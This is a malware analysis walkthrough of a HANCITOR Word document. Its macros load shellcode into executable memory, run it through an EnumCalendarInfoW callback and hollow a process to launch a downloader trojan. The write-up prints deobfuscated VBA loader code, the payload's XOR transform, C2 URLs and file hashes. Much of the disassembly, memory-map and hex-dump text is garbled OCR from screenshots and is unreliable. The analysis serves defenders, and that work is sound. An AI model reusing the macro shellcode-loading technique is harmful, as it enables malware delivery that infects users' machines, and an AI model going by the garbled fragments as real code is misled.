Analysis Walkthrough

Static Analysis

This particular sample comes in the form of an OLE word document. Sandbox analysis or use of the python OLE tools from Didier Stevens will reveal that the document contains heavily obfuscated VBA macros including a Document_Open routine which will run as soon as macros are enabled for the document. The level of obfuscation means that the quickest way to reveal the actual function of the macros will be to run them in a controlled environment and follow the execution in Word's debugger.

Opening the Document and Accessing the Macro Code

On the version of Office I was using, it was not possible to open the document for editing without first trusting the content. This posed a problem as I did not want the macros to run until I had a chance to examine the code further and set some initial breakpoints. Even though I was using a clean Virtual Machine for the analysis I would rather avoid infection if at all possible.

enable_content.png

In order to circumvent this it is first necessary to change the default Trust Centre settings within Word to allow all macros to run. Although this seems counter-intutive it means that by holding down the shift key whilst opening the document, either from the File-Open menu or by double clicking in Explorer, the document will open correctly but no macros will run. If you use this version of office for anything other than malware analysis then please ensure that you change the setting back once you have finished.

macro_settings.png

Once the document has been opened pressing Alt-F11 will transfer you to the Visual Basic for Applications (VBA) editor.

vba_editor.png

Stage 1 - Analysing the Macro Code

As we can see from the Project viewer in the window above the document contains three separate code containers:

  1. The Document Itself
  2. A separate module named presbyope
  3. A form named natal

Quickly clicking through reveals that both the document and the module contain heavily obfuscated code, while the windows form contains no code. The form itself is a single dialog containing a tab view and two tabs, but no buttons or menus or anything that would normaly perform events. Interestingly the first window that opens is the presbyope module and as we can see above this imports, and renames some interesting Windows API functions, including some interesting memory manipulation functions.

api_functions.png

From experience we know that many malware samples use VirtualAllocEx in order to create a buffer which will later be used to execute shellcode or even full processes. In this case though the other process hollowing functions such as StartProcess, UnmapViewOfSection etc are not present so it looks like we will only be looking at the Word Process itself. Searching the code for calls to "madid" we find that there is only one.

o
24 +
ame I o
mad±d (ByVaI
ByVaI babel±ke,
7326,
64)

Examining the code either side this can be viewed as:

ShellcodeBuffer = VirtualAllocEx(-1, 7386, 0x1000, 0x40)

A quick look at the MSDN documentation reveals that 0x1000 is equivalent to MEM_COMMIT and 0x40 to PAGE_EXECUTE_READWRITE, meaning that the buffer will be allocated on use and the memory pages will be marked as executable.

Widening our view further this call occurs within a function named "vasopressin", which also includes several calls to the function "bilaterally" which as we saw previously is actually the Windows API function RtlMoveMemory. Removing the junk code and renaming the variables renders this function as:

Function vasopressin(PayloadString);
    Dim PayLoadPtr As Long;
    RtlMoveMemory PayloadPtr, ByVal VarPtr(PayloadString) + 8, 4;
    Dim Result As Long;
    ProcessId= -1;
    StartingAddress= 0;
    NewBuffer = VirtualAllocEx(ByVal ProcessId, ByVal StartingAddress, 7386, 4096, 64);
    RtlMoveMemory Result, ByVal VarPtr(NewBuffer) + 8, 4;
    RtlMoveMemory ByVal Result, ByVal PayloadPtr, 5538;
    vasopressin = Result;
End Function;
This function takes in a single parameter in the form of a string, in practice simply an array of bytes.  It then creates a new area of executable memory and copies the payload into it.  The return value is a pointer to this new "function". 
If we look at where this code is called from we can see that it is called only once, from procedure "sauciness".  This function uses several properties of the "natal" form in order to construct the payload string which is passed to "vasopressin".  It then calculates an offset into the shellcode payload based upon whether or not the machine is running 64 bit windows, and passes this offset as the first parameter to the EnumCalendarInfoW API function. 
Deobfuscated this function appears: 
Sub sauciness()
   Set MyTab = natal.libet.BoundValue("Tab2")
   TipText= MyTab.ControlTipText
   Length = 7368
   LongString = Right(TipText, Length)
   Payload = presbyope.satire(LongString)
   #If VBA6 And Win64 Then
      Dim PayloadPtr As LongPtr
   #Else
      Dim PayloadPtr As Long
   #End If
   PayloadPtr = Payload
   ShellCodePtr = vasopressin(PayloadPtr)
   #If VBA6 And Win64 Then
      Offset = 1280
   #ElseIf Win32 Then
      Offset = 3677
   #End If
   Dim FunctionPtr As Long
   FunctionPtr = ShellcodePtr + Offset
   ThrowAway = EnumCalendarInfoW(FunctionPtr, 2048, 1, 1)
End Sub

Checking the Microsoft documentation for EnumCalendarInfoW reveals that the first parameter is used to pass a callback function, which is used to process each information object as it is enumerated.  If the function returns a 1 then EnumCalendarInfoW will pass it the next information object; if it returns a 0 then control will pass back to the original caller.  Therefore as long as the shellcode exits with a 0 in the EAX register control will pass back to the macro and Word will continue to run normally.  Other HANCITOR samples examined have used the EnumDateFormats and CallWindowProc API calls to achieve the same result.  

By setting a breakpoint on the call to EnumCalendarInfoW we can see the value of the address being passed as shown here.

124
as comyce s
118
dispersed =
Here the value is 18943581 or 0x1210E5D in Hex. 

Stage 2 - Analysing the Shellcode

If we attach a debugger to word and go to this address we can see that it is indeed the start of a valid code block with a standard function preamble.
01210Eso
01210ESE
01210Eso
01210Ess
01210Esc
01210ESF
01210E72
01210E7s
01210E7S
01210E77
01210E78
83
81
64
83
83
83
so
Al
40
40
40
40
cc
30
oc
08
07
00
00
00
00
00
push ebp
mov ebp, esp
sub esp,7CC
mov eax, dword
mov eax, dword
mov eax, dword
mov eax, dword
push ebx
push est
push edi
lea ecx,dword
ds: Ceax+C]
ds: ceax+lc]
ds: Ceax+8]
ss : rebp-20J
Looking at the memory map we can see that this memory area starts at 01210000 and is executable.
01200000 00003006' Device Harddiskvolumel windowsi MAP
01220000 00003000
We can then save this memory location to disk and load it into IDA pro for static analysis.  The offset at which to start the analysis will be 0x0E5D as shown here.  During the load process we can specify the Loading Offset as 0x01210000 as shown here and in this way all offsets in IDA will be the same as those seen in the debugger. 
Load a new file
Load file C : Usersvootoesktop\payload bin as
Binary file
Pr xessor type
MetaPC (disassemble all opcodes) [metapc]
Anal ysis
Loading segment Cé*éééééééé::::::::::::::::::::]
Enabled
Loading o ffset
Indicator enabled
Processor options
Options
Loading optons
Fill segment gaps
Create segments
Create FLAT group
Z] Load as code segment
Load resources
Rename DLL entries
Manual oa
Create imports segment
Once the file has loaded we can go directly to the code at 0x0120E5D and press P in order to redefine the code as a function.  This allows the viewing of the code in Graph Mode. 
 
Stepping through the code we first see several functions referenced and pointers saved to their addresses.  Here, for example, a pointer is saved to the API call IsBadReadPtr.  The GetProcAddress function is declared locally within the shellcode. 
mou
mou
mou
mou
call
mou
• aeRd•
GetProcAddress
The shellcode then checks each memory mapped file looking for a specific "egg".  In this case "BULLSHIT" (one of the other samples examined used "STARFALL").  If found then the offset to the egg is stored and execution continues.
push
push
call
jz
esi,
Lebp •plsBadReadPtr]
eax, ebx
short loc 121112C
loc 121112C:
duord ptr lesi],
short loc 12 Il 1146
duord ptr lesi•l•],
short loc 1211 II•F
• Tills •
esi, OFFFh
short loc 1211 IW
loc 1211155:
jnp
[ebp•uar_"]
•uar_114]
triu•
push
lea
push
push
push
call
test
eax,
Lebp•pGetMappedFiIeNamel
eax, eax
short loc 1211 ISS
push
push
eax ,
[ebp
[ebp
loc 121114K:
esi
short loc 121 Ill/
The next step is to call VirtualAlloc in order to create a new buffer to hold the payload, copy the payload into the buffer and then decipher it using a simple bitwise transform x => (x+3) ^ 14.  An earlier sample analysed used x => (x+3) ^ 11.
loc 1211183:
mou
mou
add
xo r
mou
Inc
c mp
_jb
dl,
[ecx+eax]
[ecx+eax], dl
eax
eax, esl
short loc
1211183
The shellcode next determines whether the process is a Wow64 Process or not and sets the name of the process to be created accordingly.  The process will be either %windir%\explorer.exe or %windir%\WOW64\svchost.exe.
mou
mou
mou
mou
mou
mou
mou
mou
call
• niv* •
loc 1211U3F
- plsWow6äProcess
short
short
loc
loc 1211U3F:
mou
mou
mou
mou
mou
mou
mou
mou
• niv* •
6wow•
• sohc•
Once this has been determined a process is started in the suspended state, hollowed out and then filled with the payload deciphered earlier.  Finally the new process is resumed and the shellcode exits. 
 
In order to know what the Entry Point will be for the new process we can set a breakpoint on the call to SetThreadContext which occurs at 0x0121157B and examine the context structure passed to the new process.  The new entry point will be passed as EAX (offset 0xB0).  The screenshot below shows a hex dump of the context structure with the EAX field highlighted.  In this case the new entry point for the hollowed process will be 0x004020D0.
010FC1D8
010FC1E8
010FC1F8
010FC208
010FC218
010FC228
010FC238
010FC248
010FC258
010FC268
010FC278
010FC288
010FC298
010FC2A8
010FC2B8
0105C 208
010FC2E8
07
53
02
20
02
01
οο
40
οο
23
οο
οο
56
23
23
77
23
23
This can be confirmed by dumping the executable from it's memory buffer, or carving it frrom the document, and running pescaner.py against it.
Meta-data
Size
Type
Architecture
MDS
SHAI
ssdeep
tmphash
Date
Language
CRC:
. 18944 bytes
. PE32 executable (GUI) Intel 80386, for MS Windows
. 32 Bits binary
: ddef86a97d892abbdc0f61407ec769fe
: 08bb14b7ec314c660d257893ba305c8c595aga38
. 192: fY820q6bcdgPIY99wybpM7DQB/UJbokp40CFtenxBfrv9mp2Nyjjs9j61fx:Q8nq6gwtvybp3BMJ8k2F1zfrsjs91f
. e4e86cd36db8587af1b6fc443eff5def
. OX581A421A [wed NOV 2 19:44:26 2016 UTC]
. ENGLISH
(Claimed) :
exi4581, (Actual): exi4581
Entry Point
. ex4020d0 . text 0/4
With the information gleaned so far it was possible to write a short python script (available here) which will scan for any potential "egg", calculate the transform and extract the payload.  It also searches the payload for C2 URLs as these have been found to appear in plain text.  In the case of the file being analysed the output is:
Writing payload to :hancttor . doc. payload. bin.
Command and Control URLs
http : / / rendingrolhem . com/ls5/gate . php
http://tofrentaleft . ru/ls5/gate . php
http://ltghfaranstt . ru/ls5/gate . php
burnttoast@OP -CIR-ZB2

Stage 3 - Examining the Payload

Examining the extracted payload with the file command shows that it is a standard windows executable, which can be analysed with IDA and OllyDbg.  Checking the hash of the file on VirusTotal shows that it has been submitted once before and, at the time of submission, was detected by 21/56 AV vendors as a trojan downloader.   
Loading the executable into IDA shows that it is indeed a simple download trojan with no real features of interest. The executable is not packed or enciphered in anyway beyond that discussed here and uses the URLs shown above. New URLs can also be added by the C2.   Download modules can be either run in memory either as a thread of the trojan or as a newly hollowed process.  The downloader may also save modules to disk and it does drop a configuration file.
   
The diagram below shows the decompiled switch statement at the heart of the C2 loop.  All the main functions are visible.image.png

Indicators of Compromise

File Hashes (MD5)
23f5344d5b0167b8b4662c862056adb0  - Word Doc
ddef86a97d892abbdc0f61407ec769fe  - Payload
b41f2365f8a44305bdc0e485100b3a0c - Word Doc
87cc7aecc62768b2de5b5778ce39cc1e  - Payload
f0905f5f10b3bd0744289b0c6ae00b49  - Word Doc
7d12e92a9025c881b9a53d8a8cabe074  - Payload
Extracted C2 URLs
http://rendingrolhem.com/ls5/gate.php
http://tofrentaleft.ru/ls5/gate.php
http://lighfaransit.ru/ls5/gate.php
http://sinforonhad.com/ls5/gate.php
http://pehedforhers.ru/ls5/gate.php
http://wronlacbeher.ru/ls5/gate.php
http://ledintutat.com/ls5/gate.php
http://verdimamuch.ru/ls5/gate.php
http://hoevenginuse.ru/ls5/gate.php